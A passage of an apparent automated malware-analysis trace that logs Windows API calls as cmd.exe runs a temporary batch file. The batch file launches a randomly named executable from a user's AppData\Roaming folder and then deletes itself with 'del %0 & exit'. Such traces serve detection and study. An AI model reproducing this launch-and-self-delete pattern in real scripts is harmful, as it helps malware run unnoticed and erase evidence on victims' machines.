lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.567] ReadFile (in: hFile=0x5c, lpBuffer=0x4ac6c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x24eec0, lpOverlapped=0x0 | out: lpBuffer=0x4ac6c320*, lpNumberOfBytesRead=0x24eec0*=0x7a, lpOverlapped=0x0) returned 1 [0246.569] SetFilePointer (in: hFile=0x5c, lDistanceToMove=109, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d [0246.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac6c320, cbMultiByte=109, lpWideCharStr=0x4ac6e320, cchWideChar=8191 | out: lpWideCharStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1\r\n") returned 109 [0246.571] _get_osfhandle (_FileHandle=3) returned 0x5c [0246.571] GetFileType (hFile=0x5c) returned 0x1 [0246.571] _get_osfhandle (_FileHandle=3) returned 0x5c [0246.571] SetFilePointer (in: hFile=0x5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d [0246.571] GetProcessHeap () returned 0x360000 [0246.571] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4012) returned 0x37e020 [0246.571] GetProcessHeap () returned 0x360000 [0246.571] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e020 | out: hHeap=0x360000) returned 1 [0246.571] GetProcessHeap () returned 0x360000 [0246.571] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0) returned 0x37e020 [0246.571] GetProcessHeap () returned 0x360000 [0246.571] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x1c) returned 0x374610 [0246.572] GetProcessHeap () returned 0x360000 [0246.572] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xde) returned 0x37e0e0 [0246.572] _tell (_FileHandle=3) returned 109 [0246.572] _close (_FileHandle=3) returned 0 [0246.572] _vsnwprintf (in: _Buffer=0x4ac76340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24ee58 | out: _Buffer="\r\n") returned 2 [0246.572] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.572] GetFileType (hFile=0x7) returned 0x2 [0246.572] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.572] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24ede8 | out: lpMode=0x24ede8) returned 1 [0246.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.573] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac76340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24ee28, lpReserved=0x0 | out: lpBuffer=0x4ac76340*, lpNumberOfCharsWritten=0x24ee28*=0x2) returned 1 [0246.573] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac5f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0246.573] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac6c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0246.573] _vsnwprintf (in: _Buffer=0x4ac5eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24ee68 | out: _Buffer="C:\\Windows\\system32") returned 19 [0246.573] _vsnwprintf (in: _Buffer=0x4ac5eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x24ee68 | out: _Buffer=">") returned 1 [0246.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.573] GetFileType (hFile=0x7) returned 0x2 [0246.574] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.574] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24ee18 | out: lpMode=0x24ee18) returned 1 [0246.574] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.574] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac5eb60*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x24ee58, lpReserved=0x0 | out: lpBuffer=0x4ac5eb60*, lpNumberOfCharsWritten=0x24ee58*=0x14) returned 1 [0246.575] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.575] GetFileType (hFile=0x7) returned 0x2 [0246.576] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.576] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f0f8 | out: lpMode=0x24f0f8) returned 1 [0246.576] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.576] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x374620*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x24f138, lpReserved=0x0 | out: lpBuffer=0x374620*, lpNumberOfCharsWritten=0x24f138*=0x5) returned 1 [0246.576] _vsnwprintf (in: _Buffer=0x4ac76340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x24f138 | out: _Buffer=" /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1 ") returned 103 [0246.576] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.576] GetFileType (hFile=0x7) returned 0x2 [0246.577] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.577] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f0c8 | out: lpMode=0x24f0c8) returned 1 [0246.577] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.577] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac76340*, nNumberOfCharsToWrite=0x67, lpNumberOfCharsWritten=0x24f108, lpReserved=0x0 | out: lpBuffer=0x4ac76340*, lpNumberOfCharsWritten=0x24f108*=0x67) returned 1 [0246.578] _vsnwprintf (in: _Buffer=0x4ac76340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f138 | out: _Buffer="\r\n") returned 2 [0246.578] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.578] GetFileType (hFile=0x7) returned 0x2 [0246.578] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.579] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f0c8 | out: lpMode=0x24f0c8) returned 1 [0246.579] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.579] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac76340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f108, lpReserved=0x0 | out: lpBuffer=0x4ac76340*, lpNumberOfCharsWritten=0x24f108*=0x2) returned 1 [0246.579] _wcsicmp (_String1="start", _String2="DIR") returned 15 [0246.579] _wcsicmp (_String1="start", _String2="ERASE") returned 14 [0246.579] _wcsicmp (_String1="start", _String2="DEL") returned 15 [0246.579] _wcsicmp (_String1="start", _String2="TYPE") returned -1 [0246.579] _wcsicmp (_String1="start", _String2="COPY") returned 16 [0246.579] _wcsicmp (_String1="start", _String2="CD") returned 16 [0246.579] _wcsicmp (_String1="start", _String2="CHDIR") returned 16 [0246.579] _wcsicmp (_String1="start", _String2="RENAME") returned 1 [0246.579] _wcsicmp (_String1="start", _String2="REN") returned 1 [0246.579] _wcsicmp (_String1="start", _String2="ECHO") returned 14 [0246.579] _wcsicmp (_String1="start", _String2="SET") returned 15 [0246.579] _wcsicmp (_String1="start", _String2="PAUSE") returned 3 [0246.579] _wcsicmp (_String1="start", _String2="DATE") returned 15 [0246.579] _wcsicmp (_String1="start", _String2="TIME") returned -1 [0246.580] _wcsicmp (_String1="start", _String2="PROMPT") returned 3 [0246.580] _wcsicmp (_String1="start", _String2="MD") returned 6 [0246.580] _wcsicmp (_String1="start", _String2="MKDIR") returned 6 [0246.580] _wcsicmp (_String1="start", _String2="RD") returned 1 [0246.580] _wcsicmp (_String1="start", _String2="RMDIR") returned 1 [0246.580] _wcsicmp (_String1="start", _String2="PATH") returned 3 [0246.580] _wcsicmp (_String1="start", _String2="GOTO") returned 12 [0246.580] _wcsicmp (_String1="start", _String2="SHIFT") returned 12 [0246.580] _wcsicmp (_String1="start", _String2="CLS") returned 16 [0246.580] _wcsicmp (_String1="start", _String2="CALL") returned 16 [0246.580] _wcsicmp (_String1="start", _String2="VERIFY") returned -3 [0246.580] _wcsicmp (_String1="start", _String2="VER") returned -3 [0246.580] _wcsicmp (_String1="start", _String2="VOL") returned -3 [0246.580] _wcsicmp (_String1="start", _String2="EXIT") returned 14 [0246.580] _wcsicmp (_String1="start", _String2="SETLOCAL") returned 15 [0246.580] _wcsicmp (_String1="start", _String2="ENDLOCAL") returned 14 [0246.580] _wcsicmp (_String1="start", _String2="TITLE") returned -1 [0246.580] _wcsicmp (_String1="start", _String2="START") returned 0 [0246.580] GetConsoleTitleW (in: lpConsoleTitle=0x24ee60, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0246.580] GetProcessHeap () returned 0x360000 [0246.580] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x1ac) returned 0x37e1d0 [0246.580] GetProcessHeap () returned 0x360000 [0246.580] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x37e1d0, Size=0xe0) returned 0x37e1d0 [0246.580] GetProcessHeap () returned 0x360000 [0246.580] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37e1d0) returned 0xe0 [0246.580] GetProcessHeap () returned 0x360000 [0246.580] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xea) returned 0x37e2c0 [0246.580] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0246.581] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.581] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x420) returned 0x37e3c0 [0246.581] SetErrorMode (uMode=0x0) returned 0x0 [0246.581] SetErrorMode (uMode=0x1) returned 0x0 [0246.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\.", nBufferLength=0x208, lpBuffer=0x37e3d0, lpFilePart=0x232250 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN", lpFilePart=0x232250*="bo7tPuLN") returned 0x2a [0246.581] SetErrorMode (uMode=0x0) returned 0x1 [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x37e3c0, Size=0x80) returned 0x37e3c0 [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37e3c0) returned 0x80 [0246.581] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\.") returned 1 [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x6c) returned 0x37e450 [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xc4) returned 0x37e4d0 [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x37e4d0, Size=0x6c) returned 0x37e4d0 [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37e4d0) returned 0x6c [0246.581] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac5f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xe8) returned 0x37e550 [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x37e550, Size=0x7e) returned 0x37e550 [0246.581] GetProcessHeap () returned 0x360000 [0246.581] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37e550) returned 0x7e [0246.582] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0246.582] FindFirstFileExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE", fInfoLevelId=0x1, lpFindFileData=0x231fc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x231fc0) returned 0x361d50 [0246.582] GetProcessHeap () returned 0x360000 [0246.582] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x3745e0, Size=0x8) returned 0x37bf40 [0246.582] FindClose (in: hFindFile=0x361d50 | out: hFindFile=0x361d50) returned 1 [0246.582] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0246.582] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0246.582] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=1) returned 1 [0246.582] GetStartupInfoW (in: lpStartupInfo=0x232690 | out: lpStartupInfo=0x232690*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0246.582] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x232568 | out: lpAttributeList=0x0, lpSize=0x232568) returned 0 [0246.582] GetLastError () returned 0x7a [0246.582] GetProcessHeap () returned 0x360000 [0246.582] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x48) returned 0x378d00 [0246.582] InitializeProcThreadAttributeList (in: lpAttributeList=0x378d00, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x232568 | out: lpAttributeList=0x378d00, lpSize=0x232568) returned 1 [0246.582] UpdateProcThreadAttribute (in: lpAttributeList=0x378d00, dwFlags=0x0, Attribute=0x60001, lpValue=0x232560, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x378d00, lpPreviousValue=0x0) returned 1 [0246.582] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE", lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80600, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2325a0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x7, hStdError=0xb), lpProcessInformation=0x232588 | out: lpCommandLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1", lpProcessInformation=0x232588*(hProcess=0x58, hThread=0x5c, dwProcessId=0x69c, dwThreadId=0x698)) returned 1 [0246.611] DeleteProcThreadAttributeList (in: lpAttributeList=0x378d00 | out: lpAttributeList=0x378d00) [0246.611] GetProcessHeap () returned 0x360000 [0246.611] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x378d00 | out: hHeap=0x360000) returned 1 [0246.611] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0246.611] GetLastError () returned 0x715 [0246.611] ResumeThread (hThread=0x5c) returned 0x0 [0246.611] CloseHandle (hObject=0x5c) returned 1 [0246.611] CloseHandle (hObject=0x58) returned 1 [0246.611] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.611] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0246.612] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.612] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ac5e194 | out: lpMode=0x4ac5e194) returned 1 [0246.612] _get_osfhandle (_FileHandle=0) returned 0x3 [0246.612] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ac5e198 | out: lpMode=0x4ac5e198) returned 1 [0246.612] SetConsoleInputExeNameW () returned 0x1 [0246.612] GetConsoleOutputCP () returned 0x1b5 [0246.613] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac6bfe0 | out: lpCPInfo=0x4ac6bfe0) returned 1 [0246.613] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0246.613] CreateFileW (lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd" (normalized: "c:\\windows\\temp\\suujcz.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x24f0b8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0246.613] _open_osfhandle (_OSFileHandle=0x58, _Flags=8) returned 3 [0246.613] _get_osfhandle (_FileHandle=3) returned 0x58 [0246.613] SetFilePointer (in: hFile=0x58, lDistanceToMove=109, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d [0246.613] GetProcessHeap () returned 0x360000 [0246.613] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e550 | out: hHeap=0x360000) returned 1 [0246.613] GetProcessHeap () returned 0x360000 [0246.613] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e4d0 | out: hHeap=0x360000) returned 1 [0246.613] GetProcessHeap () returned 0x360000 [0246.613] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e450 | out: hHeap=0x360000) returned 1 [0246.613] GetProcessHeap () returned 0x360000 [0246.613] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e3c0 | out: hHeap=0x360000) returned 1 [0246.613] GetProcessHeap () returned 0x360000 [0246.613] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e2c0 | out: hHeap=0x360000) returned 1 [0246.613] GetProcessHeap () returned 0x360000 [0246.613] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e1d0 | out: hHeap=0x360000) returned 1 [0246.613] GetProcessHeap () returned 0x360000 [0246.613] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e0e0 | out: hHeap=0x360000) returned 1 [0246.613] GetProcessHeap () returned 0x360000 [0246.613] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x374610 | out: hHeap=0x360000) returned 1 [0246.613] GetProcessHeap () returned 0x360000 [0246.613] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e020 | out: hHeap=0x360000) returned 1 [0246.613] _get_osfhandle (_FileHandle=3) returned 0x58 [0246.613] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d [0246.614] ReadFile (in: hFile=0x58, lpBuffer=0x4ac6c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x24eec0, lpOverlapped=0x0 | out: lpBuffer=0x4ac6c320*, lpNumberOfBytesRead=0x24eec0*=0xd, lpOverlapped=0x0) returned 1 [0246.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac6c320, cbMultiByte=13, lpWideCharStr=0x4ac6e320, cchWideChar=8191 | out: lpWideCharStr="del %0 & exitsers\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1\r\n") returned 13 [0246.614] GetProcessHeap () returned 0x360000 [0246.614] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4012) returned 0x37ee20 [0246.614] GetProcessHeap () returned 0x360000 [0246.614] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ee20 | out: hHeap=0x360000) returned 1 [0246.614] GetProcessHeap () returned 0x360000 [0246.614] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0) returned 0x37e020 [0246.614] GetProcessHeap () returned 0x360000 [0246.614] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x18) returned 0x37da30 [0246.616] GetProcessHeap () returned 0x360000 [0246.616] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4a) returned 0x361d50 [0246.616] GetProcessHeap () returned 0x360000 [0246.616] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0) returned 0x37e0e0 [0246.616] _get_osfhandle (_FileHandle=3) returned 0x58 [0246.616] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7a [0246.616] ReadFile (in: hFile=0x58, lpBuffer=0x4ac6c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x24ee20, lpOverlapped=0x0 | out: lpBuffer=0x4ac6c320*, lpNumberOfBytesRead=0x24ee20*=0x0, lpOverlapped=0x0) returned 1 [0246.616] GetLastError () returned 0x0 [0246.616] _get_osfhandle (_FileHandle=3) returned 0x58 [0246.616] GetFileType (hFile=0x58) returned 0x1 [0246.616] _get_osfhandle (_FileHandle=3) returned 0x58 [0246.616] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7a [0246.617] GetProcessHeap () returned 0x360000 [0246.617] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4012) returned 0x37ee20 [0246.617] GetProcessHeap () returned 0x360000 [0246.617] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ee20 | out: hHeap=0x360000) returned 1 [0246.617] _wcsicmp (_String1="exit", _String2=")") returned 60 [0246.617] _wcsicmp (_String1="FOR", _String2="exit") returned 1 [0246.617] _wcsicmp (_String1="FOR/?", _String2="exit") returned 1 [0246.617] _wcsicmp (_String1="IF", _String2="exit") returned 4 [0246.617] _wcsicmp (_String1="IF/?", _String2="exit") returned 4 [0246.617] _wcsicmp (_String1="REM", _String2="exit") returned 13 [0246.617] _wcsicmp (_String1="REM/?", _String2="exit") returned 13 [0246.617] GetProcessHeap () returned 0x360000 [0246.617] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0) returned 0x37e1a0 [0246.617] GetProcessHeap () returned 0x360000 [0246.617] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x1a) returned 0x374610 [0246.617] _tell (_FileHandle=3) returned 122 [0246.617] _close (_FileHandle=3) returned 0 [0246.617] _vsnwprintf (in: _Buffer=0x4ac76340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24ee58 | out: _Buffer="\r\n") returned 2 [0246.617] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.617] GetFileType (hFile=0x7) returned 0x2 [0246.618] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.618] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24ede8 | out: lpMode=0x24ede8) returned 1 [0246.618] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.618] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac76340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24ee28, lpReserved=0x0 | out: lpBuffer=0x4ac76340*, lpNumberOfCharsWritten=0x24ee28*=0x2) returned 1 [0246.618] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac6c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0246.618] _vsnwprintf (in: _Buffer=0x4ac5eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24ee68 | out: _Buffer="C:\\Windows\\system32") returned 19 [0246.618] _vsnwprintf (in: _Buffer=0x4ac5eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x24ee68 | out: _Buffer=">") returned 1 [0246.618] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.618] GetFileType (hFile=0x7) returned 0x2 [0246.619] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.619] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24ee18 | out: lpMode=0x24ee18) returned 1 [0246.619] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.619] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac5eb60*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x24ee58, lpReserved=0x0 | out: lpBuffer=0x4ac5eb60*, lpNumberOfCharsWritten=0x24ee58*=0x14) returned 1 [0246.620] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.620] GetFileType (hFile=0x7) returned 0x2 [0246.620] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.620] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f098 | out: lpMode=0x24f098) returned 1 [0246.621] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.621] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x37da40*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x24f0d8, lpReserved=0x0 | out: lpBuffer=0x37da40*, lpNumberOfCharsWritten=0x24f0d8*=0x3) returned 1 [0246.621] _vsnwprintf (in: _Buffer=0x4ac76340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x24f0d8 | out: _Buffer=" C:\\Windows\\TEMP\\sUujcz.cmd ") returned 29 [0246.621] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.621] GetFileType (hFile=0x7) returned 0x2 [0246.621] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.622] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f068 | out: lpMode=0x24f068) returned 1 [0246.622] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.622] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac76340*, nNumberOfCharsToWrite=0x1d, lpNumberOfCharsWritten=0x24f0a8, lpReserved=0x0 | out: lpBuffer=0x4ac76340*, lpNumberOfCharsWritten=0x24f0a8*=0x1d) returned 1 [0246.622] _vsnwprintf (in: _Buffer=0x4ac76340, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x24f108 | out: _Buffer=" & ") returned 3 [0246.622] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.622] GetFileType (hFile=0x7) returned 0x2 [0246.623] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.623] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f098 | out: lpMode=0x24f098) returned 1 [0246.623] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.623] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac76340*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x24f0d8, lpReserved=0x0 | out: lpBuffer=0x4ac76340*, lpNumberOfCharsWritten=0x24f0d8*=0x3) returned 1 [0246.623] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.623] GetFileType (hFile=0x7) returned 0x2 [0246.624] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.624] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f098 | out: lpMode=0x24f098) returned 1 [0246.624] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.624] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x374620*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0x24f0d8, lpReserved=0x0 | out: lpBuffer=0x374620*, lpNumberOfCharsWritten=0x24f0d8*=0x4) returned 1 [0246.624] _vsnwprintf (in: _Buffer=0x4ac76340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f138 | out: _Buffer="\r\n") returned 2 [0246.624] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.624] GetFileType (hFile=0x7) returned 0x2 [0246.625] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0246.625] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24f0c8 | out: lpMode=0x24f0c8) returned 1 [0246.625] _get_osfhandle (_FileHandle=1) returned 0x7 [0246.625] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac76340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x24f108, lpReserved=0x0 | out: lpBuffer=0x4ac76340*, lpNumberOfCharsWritten=0x24f108*=0x2) returned 1 [0246.625] GetConsoleTitleW (in: lpConsoleTitle=0x24eda0, nSize=0x104 | out: 